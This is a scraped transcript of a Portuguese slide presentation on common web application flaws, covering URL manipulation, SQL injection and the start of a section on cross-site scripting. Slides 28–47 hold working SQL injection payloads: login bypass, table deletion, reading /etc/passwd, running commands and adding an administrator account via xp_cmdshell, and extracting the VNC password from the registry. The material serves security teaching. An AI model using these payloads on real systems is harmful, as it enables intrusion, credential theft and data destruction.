1 / 74

Falhas mais comuns em aplicações WEB

Falhas mais comuns em aplicações WEB. Agenda. Introdução Explicando cada ataque através de exemplos URL Manipulation SQL Injection XSS Cross Site Scripting Como resolve-los O que HTTPS nos oferece Porque HTTPS não resolve nossos problemas? Próximos passos do projeto …. Introdução.

varen
Download Presentation

Falhas mais comuns em aplicações WEB

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Falhas mais comuns em aplicações WEB

  2. Agenda • Introdução • Explicando cada ataque através de exemplos • URL Manipulation • SQL Injection • XSS Cross Site Scripting • Como resolve-los • O que HTTPS nos oferece • Porque HTTPS não resolve nossos problemas? • Próximos passos do projeto ….

  3. Introdução • Os ataques a serviços de rede estão se tornando muito sofisticados • A criatividade humana não para • Mas o que faltava? • APLICAÇÕES!!! Mas será que é possível? • Atualmente a maioria dos BUG’s reportados estão em aplicações • Application Security != Network Security • Não se esqueçam: Quem provê acesso aos dados? As aplicações !!!

  4. Introdução – Lendas Urbanas • Não ha problemas • Até que a aplicação seja comprometida • Erros de runtime não são problemas (tratamento de erros) • Exponham informações relevantes • Consumam todo recurso do servidor • Web Services não são vulneráveis • Quase nunca testados e raramente segurança é considerada • Solução • Testes de penetração. São caros !!!

  5. Introdução - Números • Gartner • 75% dos ataques acontecem no nível das aplicações • Em caso de falha no sistema provavelmente os desenvolvedores são três vezes mais culpados do que os administradores de sistemas • NIST • 92% das vulnerabilidadces estão no nível das aplicações

  6. Introdução • Nosso foco será demonstrar estes BUG’s de forma prática • Para nos proteger temos que entender das táticas e armas no nosso inimigo • Temos que ter nossas armas para nos defender !!!

  7. Testes e segurança por onde vai ….

  8. Contexto • Não há segurança de sistemas sem a conjuncão de tres fatores • Boas praticas de codificação • Metodologia adequada (arquitetura e etc) • Testes ..... E ai vem .....

  9. O que é segurança • Segurança em um “end line” • Mas o que é isso? • Não se discute segurança sem entender de • Arquitetura de Computadores, Sistemas Operacionais, Redes de computadores (protocolos de comunicação, Linguagem de programação, engenharia de software e Logica.

  10. O que é segurança • Entao o que eu preciso saber para se poder testar .... • Opção 1: seguir os procedimentos definidos alguem que sabe disso tudo • Opção 2: Saber disso tudo

  11. Então para o que querem ....

  12. Então para o que querem ....

  13. Então para o que querem ....

  14. Então para o que querem ....

  15. Então para o que querem ....

  16. Então para o que querem ....

  17. Então para o que querem ....

  18. Segurança de Redes • Recursos • Sites • www.securityfocus.com • www.cert.com • www.rootkit.com

  19. Segurança de Redes • Periódicos • Linux Journal • Sys Admin Magazine • Information Security • SC Info Security Magazine • Security Magazine (Nacional)

  20. Testes

  21. OSSTMM

  22. Agora faça seu checklist • O que fazer? • O que testar? • Como fazer? • São as resposta que queremos. Vamos começar por ..... AQUI

  23. Em Aplicações WEB

  24. URL Manipulation • O comando GET requisita informações importantes na URL • Os parâmetros podem ser manipulados para se obter resultados satisfatórios • O impacto é ALTO • Variações podem ser feitas para se tentar obter resultados interessantes http://www.paladiontest.com/example?accountnumber=12345&debitamount=1

  25. URL Manipulation

  26. URL Manipulation

  27. SQL Injection • A idéia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB • Todos os parâmetros passados são direcionados para o banco de dados • O atacante pode manipular com as tabelas e dados diretamente

  28. Causas - SQL Injection public void OnLogon(object src, EventArgs e){ SqlConnectioncon = new SqlConnection( "server=(local);database=myDB;uid=sa;pwd;" ); string query = String.Format( "SELECT COUNT(*) FROM Users WHERE " + "username='{0}' AND password='{1}'", txtUser.Text, txtPassword.Text ); SqlCommand cmd = new SqlCommand(query, con); conn.Open(); SqlDataReader reader = cmd.ExecuteReader(); try{ if(reader.HasRows()) IssueAuthenticationTicket(); else TryAgain(); } finally{ con.Close() } }

  29. SQL Injection – Problemas Esperado: username: abc password: teste123 Quando submetido a query será montada como: select * from users where username='abc' and password = 'test123' Não esperado: username: abc'; -- password: A query enviada para o banco de dados será: select * from users where uname='abc’; --' and password=''

  30. SQL Injection – Problemas Esperado: Username: doug Password: p@$$w0rd SELECT COUNT(*) FROM Users WHERE username='doug' and password='p@$$w0rd' Não esperado: Username: ' OR 1=1 -- Password: SELECT COUNT(*) FROM Users WHERE username='' OR 1=1 --and password=''

  31. Site vulnerável Usuário Malicioso SQL Injection Login com Sucesso http://target.site/login.jsp Esperado Não esperado

  32. SQL Injection – Mais exemplos Identificando campos de uma tabela SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --'; Verificando se a tabela existeSELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

  33. SQL Injection – Mais exemplos Procurando por usuários SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Maria%'; Ataques de força brutaSELECT email, passwd, login_id, full_name FROM members WHERE email = ‘ususario@provedor.com' AND passwd = ‘senha123';

  34. SQL Injection – Mais exemplos Verificando as permissões no Database SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; DROP TABLE members; --'; Criando um usuárioSELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; INSERT INTO members ('email','passwd','login_id', 'full_name') VALUES (‘usuario@provedor.com',‘senha', ‘user',‘User da Internet');--';

  35. SQL Injection – Mais exemplos Alterando o mail de comunicação SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; UPDATE membersSET email = ‘usuario@provedor.com' WHERE email = ‘usuario@hackprovedor.com';

  36. Caracteres utilizados ' ou " Utilizado para indicar tipo char -- ou # Comentário /*…*/ Comentário de várias linhas + Adição, concatenação || Concatenação % Wildcard ?Param1=foo&Param2=bar Parâmetros da URL PRINT Muito utilizado quando não temos transações @variable Variável Local @@variable Variável Global waitfor delay '0:0:10' Delay

  37. SQL Injection • http://172.27.70.25/tikiwiki-1.8/tiki-directory_search.php?how=or&words=&where=all&sort_mode=delete%20*%20from%20users_uses

  38. Determinando a versão do SGBD • Na maioria do tempo as mensagens de erro nos ajudam a identificar qual o SGBD utilizado • As mensagens de erro ODBC mostram SGBD utilizado • Se não tivermos as mensagens ODBC • Tentamos analisar qual a tecnologia utilizada na aplicação e no servidor WEB • Tentamos utilizar caracteres, comandos ou stored procedures que geram erros específicos

  39. Determinando a versão do SGBD

  40. Interagindo com o sistema Operacional • Existem duas maneiras de se interagir com o sistema operacional • Lendo arquivos • Obtendo arquivos de senhas • Trocando senhas dos usuários • Executando comandos que troquem parâmetros do sistema • Execução direta de comandos • Não ha limites !!! • Qualquer ação depende do privilégio que o usuários utilizado pelo SGBD possui

  41. MySQL e a interação O.S. • MySQL • LOAD_FILE • ' union select 1,load_file('/etc/passwd'),1,1,1; • LOAD DATA INFILE • create table temp( line blob ); • load data infile '/etc/passwd' into table temp; • select * from temp; • SELECT INTO OUTFILE

  42. MS SQL e a interação O.S. • MS SQL Server • '; exec master..xp_cmdshell 'ipconfig > test.txt' -- • '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- • '; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -- • ' and 1 in (select substring(x,1,256) from temp) -- • '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

  43. Web Server Application Server Database Server Paginas WEB Validação Da Entrada Execução Do SQL Arquitetura mais comum • Sempre tenha em mente • O SQL normalmente é executado em um outro servidor • O servidor de BD normalmente não tem acesso a Internet e é protegido

  44. Comando de rede relevantes • Usando a SP xp_cmdshell podemos executar: • Ipconfig /all • Tracert myIP • arp -a • nbtstat -c • netstat -ano • route print

  45. Manipulando com as informações da rede • '; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var -- • '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- • '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -- • ' and 1 in (select substring(x,1,255) from temp) -- • '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

  46. Manipulando com o S.O. • Linux MySQL • ' union select 1, (load_file('/etc/passwd')),1,1,1; • MS SQL Criando usuários • '; exec xp_cmdshell 'net user /add victor Pass123'-- • '; exec xp_cmdshell 'net localgroup /add administrators victor' -- • Iniciando serviços • '; exec master..xp_servicecontrol 'start','FTP Publishing' --

  47. Obtendo a senha do VNC • '; declare@out binary(8)exec master..xp_regread@rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value = @outoutputselect cast(@out as bigint) as x into TEMP-- • ' and 1 in (select cast(x as varchar) from temp) --

  48. XSS Cross Site Scripting

More Related